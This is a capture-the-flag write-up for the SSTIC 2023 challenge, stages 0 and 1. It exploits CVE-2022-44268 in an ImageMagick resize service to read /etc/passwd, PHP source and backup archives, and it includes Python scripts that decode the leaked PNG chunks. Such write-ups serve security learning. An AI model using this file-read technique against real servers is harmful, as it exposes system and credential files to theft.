Challenge SSTIC 2023 - stage 0 & 1
Posted on 25 May 2023 in security • 7 min read
As each year the French Security conference SSTIC release a security challenge prior to the conference.
This year the challenge seemed "easier" than the previous year as the stage 1 got 135 validations versus 86 validations in 2022.
This article will detail my solution for the step 0 and the step 1.
Salud deoc’h !
Votre nouvelle boulangerie Trois Pains Zéro a décidé d’innover afin d'éviter les files d’attente et vous permettre de déguster notre recette phare : le fameux quatre-quarts. À partir du 1er juillet 2023, il vous suffira d’acquérir un Jeton Non-Fongible (JNF) de notre collection sur OpenSea, et de le présenter en magasin pour recevoir votre précieux gâteau.
La page d’achat sera bientôt disponible pour tous nos clients et nous espérons vous voir bientôt en magasin.
Délicieusement vôtre,
Votre boulangerie Trois Pains Zéro
For non-French speaking people, the scenario was a bakery that will release a new product requiring the possession of an NFT to buy it. The goal is to access to NFT buying page. Our only input is an OpenSea link.
Stage 0
We got to the NFT page on OpenSea. The NFT was available on testnet so, we might have been able to buy it. But looking at the event section we realized that all the offers expired and there was no transaction.
EXIF data
I downloaded the SVG image to look for any comment in the SVG. We can see that the image is an embedded base64 PNG. We decode it and look at the EXIF data. This look like a dead end.
Profile Date Time : 2023:02:28 15:28:27
Profile File Signature : acsp
Primary Platform : Apple Computer Inc.
CMM Flags : Not Embedded, Independent
Device Manufacturer :
Device Model :
Device Attributes : Reflective, Glossy, Positive, Color
Rendering Intent : Perceptual
Connection Space Illuminant : 0.9642 1 0.82491
Profile Creator : Little CMS
Profile ID : 0
Profile Description : GIMP built-in sRGB
Profile Copyright : Public Domain
Media White Point : 0.9642 1 0.82491
Chromatic Adaptation : 1.04788 0.02292 -0.05022 0.02959 0.99048 -0.01707 -0.00925 0.01508 0.75168
Red Matrix Column : 0.43604 0.22249 0.01392
Blue Matrix Column : 0.14305 0.06061 0.71393
Green Matrix Column : 0.38512 0.7169 0.09706
Red Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Blue Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
Chromaticity Channels : 3
Chromaticity Colorant : Unknown
Chromaticity Channel 1 : 0.64 0.33002
Chromaticity Channel 2 : 0.3 0.60001
Chromaticity Channel 3 : 0.15001 0.06
Device Mfg Desc : GIMP
Device Model Desc : sRGB
XMP Toolkit : XMP Core 4.4.0-Exiv2
Document ID : gimp:docid:gimp:6c654e1c-660f-4a8d-8684-e7dcb888f405
Instance ID : xmp.iid:e3c835b5-b728-4065-90ae-b8701b2c0ee9
Original Document ID : xmp.did:69feb713-f517-4ae5-89df-8790fa24e448
Format : image/png
Api : 2.0
Platform : Linux
Time Stamp : 1677598603072742
Version : 2.10.30
Creator Tool : GIMP 2.10
History Action : saved
History Changed : /
History Instance ID : xmp.iid:dae6254d-2632-408f-bdce-210bbed3f9ef
History Software Agent : Gimp 2.10 (Linux)
History When : 2023:02:28 16:36:43+01:00
Smart contract
Following the OpenSea contract address
and looking at the contract we found a base64 encoded BASE_URI
parameter:
{"name": "Trois Pains Zero",
"description": "Lobsterdog pastry chef.",
"image": "https://nft.quatre-qu.art/nft-library.php?id=12",
"external_url": "https://nft.quatre-qu.art/nft-library.php?id=12"}
We followed the external_url
and at the website root we found an image with the flag for stage 0.
Stage 1
Enumerating the NFT id
and other content
There were an NFT from the id
parameter 1 (the flag) to 17, then there were placeholders until
9223372036854775807
(I did not check all the IDs and supposed that there was nothing different from the
placeholder).
We could also enumerate the image by using their ID with the image folder such as
https://nft.quatre-qu.art/images/4.png
We also found an ELF binary at the core
location.
Uploading new images - CVE-2022-44268
Using the id=0
we landed on a page that allowed us resize image.
Create your own NFT gallery! Before creating your gallery, your image needs to be of the right size. Use this service to resize it!
Looking at the HTTP response from the web application we noticed the header
X-Powered-By ImageMagick/7.1.0-51
. This version of ImageMagick was vulnerable to two CVE:
- CVE-2022-44267: Resource management error, The vulnerability allows a remote attacker to perform a denial of service (DoS) attack.
- CVE-2022-44268: Information disclosure, A remote attacker can pass a specially crafted image to the application and embed contents of other files on the system into the resulting image.
The first vulnerability did not really interest us as this was a Deny of Service but the second one, CVE-2022-44268 was a Local File Inclusion and could allow us to retrieve files from the web server.
We quickly found an exploit for it on GitHub.
Using the exploit README we generated an image and retrieve the content of the /etc/passwd
file.
python3 -c 'print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a"))'
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n'
We then retrieved the content of var/www/html/index.php
:
The output of identify -verbose out_index_php.png
did not display the file content in a raw
profile
field. Instead, we just got the information that the field is Profile-php: 49 bytes
.
We will need to write a script in order to parse the PNG chunks and retrieve their data. A blog post from 2019 put us on the way.
We ended up with a python script that would decompress if needed and decode tExt
and zTXt
chunks.
import zlib
import struct
import sys
input = sys.argv[1]
f = open(input, 'rb')
PngSignature = b'\x89PNG\r\n\x1a\n'
if f.read(len(PngSignature)) != PngSignature:
raise Exception('Invalid PNG Signature')
def read_chunk(f):
chunk_length, chunk_type = struct.unpack('>I4s', f.read(8))
chunk_data = f.read(chunk_length)
chunk_expected_crc, = struct.unpack('>I', f.read(4))
chunk_actual_crc = zlib.crc32(chunk_data, zlib.crc32(struct.pack('>4s', chunk_type)))
if chunk_expected_crc != chunk_actual_crc:
raise Exception('chunk checksum failed')
return chunk_type, chunk_data
while True:
chunk_type, chunk_data = read_chunk(f)
if (chunk_type == b'tEXt' or b'zTXt') and chunk_data[0:20] == b'Raw profile type php':
chunk_string = ""
if chunk_type == b'zTXt':
chunk_string = (zlib.decompress(chunk_data[22:]))
else:
chunk_string = chunk_data[22:]
print(bytes.fromhex("".join((chunk_string.decode("utf-8")).split("\n")[2:])))
if chunk_type == b'IEND':
break
Using the script with the image containing index.php
, we were redirected to another file.
python decoder.py out_index_php.png
<?php header("Location: /nft-library.php?id=1");
We retrieved the nft-library.php
file.
And we decoded it using our python script. This give us the step 1 flag as well as the path to two archives available on the server.
python decoder.py out.png
R%<?php
header("X-Powered-By: ImageMagick/7.1.0-51");
// SSTIC{8c44f9aa39f4f69d26b91ae2b49ed4d2d029c0999e691f3122a883b01ee19fae}
// Une sauvegarde de l'infrastructure est disponible dans les fichiers suivants
// /backup.tgz, /devices.tgz
//
if (!empty($_GET['id'])) {
$image_id = $_GET['id'];
<SNIP>
Highway to stage 2.x
We retrieved the two images from the server using the CVE-2022-44268:
backup.tar.gz:
devices.tar.gz:
Using the previous python script resulted as an error UnicodeDecodeError: 'utf-8' codec can't
decode byte 0x8b in position 4
So we looked directly at the content of the chunk string using print(chunk_string.decode("utf-8"))
python decoder.py out_devices_tgz.png | head
tgz
776678
1f8b0800000000000003ec7b09981e5599ee
python decoder.py out_backup_tgz.png | head
tgz
927243
1f8b0800000000000003ec3c0b901cd5
For both files we retrieved the same starting data for the chunk: 1f8b0800000000000003ec
. A few
researches pointed us to a GZip
archive.
We used ange knowledge about zlib
and deflate
to ensure that the files we are getting are compressed tgz
.
A simple addition to our python script allowed us to write our chunk into a valid tar.gz
file.
import zlib
import struct
import sys
input = sys.argv[1]
f = open(input, 'rb')
PngSignature = b'\x89PNG\r\n\x1a\n'
if f.read(len(PngSignature)) != PngSignature:
raise Exception('Invalid PNG Signature')
def read_chunk(f):
chunk_length, chunk_type = struct.unpack('>I4s', f.read(8))
chunk_data = f.read(chunk_length)
chunk_expected_crc, = struct.unpack('>I', f.read(4))
chunk_actual_crc = zlib.crc32(chunk_data, zlib.crc32(struct.pack('>4s', chunk_type)))
if chunk_expected_crc != chunk_actual_crc:
raise Exception('chunk checksum failed')
return chunk_type, chunk_data
while True:
chunk_type, chunk_data = read_chunk(f)
if (chunk_type == b'tEXt' or b'zTXt'):
if chunk_data[0:16] == b'Raw profile type':
chunk_string = ""
if chunk_type == b'zTXt':
chunk_string = (zlib.decompress(chunk_data[22:]))
else:
chunk_string = chunk_data[22:]
if chunk_data[17:20] == b'php':
print(bytes.fromhex("".join((chunk_string.decode("utf-8")).split("\n")[2:])).decode("utf-8"))
print(type(bytes.fromhex("".join((chunk_string.decode("utf-8")).split("\n")[2:])).decode("utf-8")))
exit()
if chunk_data[17:20] == b'tgz':
with open('test.gz', 'wb') as fout:
fout.write(binascii.unhexlify(chunk_string[14:].decode("utf-8").replace("\n","")))
if chunk_type == b'IEND':
break
We then ran the script on the backup and device "images". Once uncompressed with tar
we obtain the
following file structure (the two archives merged themself):
backup/
├── deviceA
│ ├── baker_pubkey.py
│ ├── logs.txt
│ └── musig2_player.py
├── deviceB
│ ├── loop
│ ├── loop_
│ ├── seed.bin
│ └── seedlocker.py
├── deviceC
│ ├── frontend_service.bin
│ ├── ld-linux-aarch64.so.1
│ ├── pow_solver.py
│ └── remote_lib.so.6
├── deviceD.py
├── file.h5
├── flags
│ ├── crypt.py
│ ├── encrypted_flags
│ │ ├── deviceA.enc
│ │ ├── deviceB.enc
│ │ ├── deviceC.enc
│ │ └── deviceD.enc
│ └── requirements.txt
├── info.eml
├── server
│ ├── achat.py
│ ├── admin.py
│ ├── config.py
│ ├── deploy.py
│ ├── main.py
│ ├── musig2.py
│ ├── requirements.txt
│ ├── smart_contract.py
│ ├── static
│ │ ├── creme.jpeg
│ │ ├── farbreton.jpeg
│ │ ├── kouign.jpeg
│ │ ├── lobsterdog_baker.png
│ │ ├── lobsterdog.png
│ │ ├── meringue.jpeg
│ │ ├── palet.jpeg
│ │ └── quatrequart.jpeg
│ └── templates
│ ├── achat_templates
│ ├── admin_templates
│ ├── base.html
│ └── index.html
Looking at info.eml
we found a new domain https://trois-pains-zero.quatre-qu.art/
Salut Bertrand,
Comme tu le sais, nous sommes en train de mettre en place l’infrastructure pour la sortie prochaine de notre JNF sur https://trois-pains-zero.quatre-qu.art/. Nous avons choisi de protéger notre interface d’administration en utilisant un chiffrement multi-signature 4 parmi 4 en utilisant différents dispositifs pour stocker les clés privées.
Pour rappel tu trouveras les fichiers nécessaire dans la sauvegarde :
le script que j'ai utilisé pour participer au protocole de multi-signature : musig2_player.py. J'ai aussi inclus le fichier de journalisation de signatures que nous avions fait jeudi dernier ainsi que nos 4 clés publiques.
un porte-monnaie numérique dont tu possèdes le mot de passe: seedlocker.py
un équipement physique, disponible ici device.quatre-qu.art:8080, je crois que c'est Charly qui a le mot de passe. Si tu veux tester sur ton propre équipement tu trouveras la mise à jour de l'interface utilisateur sur le serveur de sauvegarde avec la libc utilisée. Nous avons mis en place des limitations, une à base de preuve de travail, nous t'avons aussi fourni le script de résolution (pow_solver.py) ainsi qu'un mot de passe "fudmH/MGzgUM7Zx3k6xMuvThTXh+ULf1". Le mot de passe n'est pas celui de l'équipement mais celui pour la protection.
Pour le dernier équipement, Daniel a perdu son code pin. Nous avons essayé d’extraire les informations en attaquant la mémoire sécurisée avec des injections de fautes mais sans succès 😒. Pour information la mémoire sécurisée prends un masque en argument et utilise la valeur stockée XORé avec le masque. Les mesures qu'on a faites pendant l'expérience sont stockées dans data.h5. Il est trop volumineux pour la sauvegarde mais tu peux le récupérer à cette adresse : https://trois-pains-zero.quatre-qu.art/data_34718ec031bbb6e094075a0c7da32bc5056a57ff082c206e6b70fcc864df09e9.h5. Peut-être que tu connais quelqu’un qui pourrait nous aider à retrouver les informations ?
Bon courage!
We now have four independent tasks corresponding to step 2.a, 2.b, 2.c and 2.d. But they are not web related and after a few hours I just let it go as I will not be able to complete them.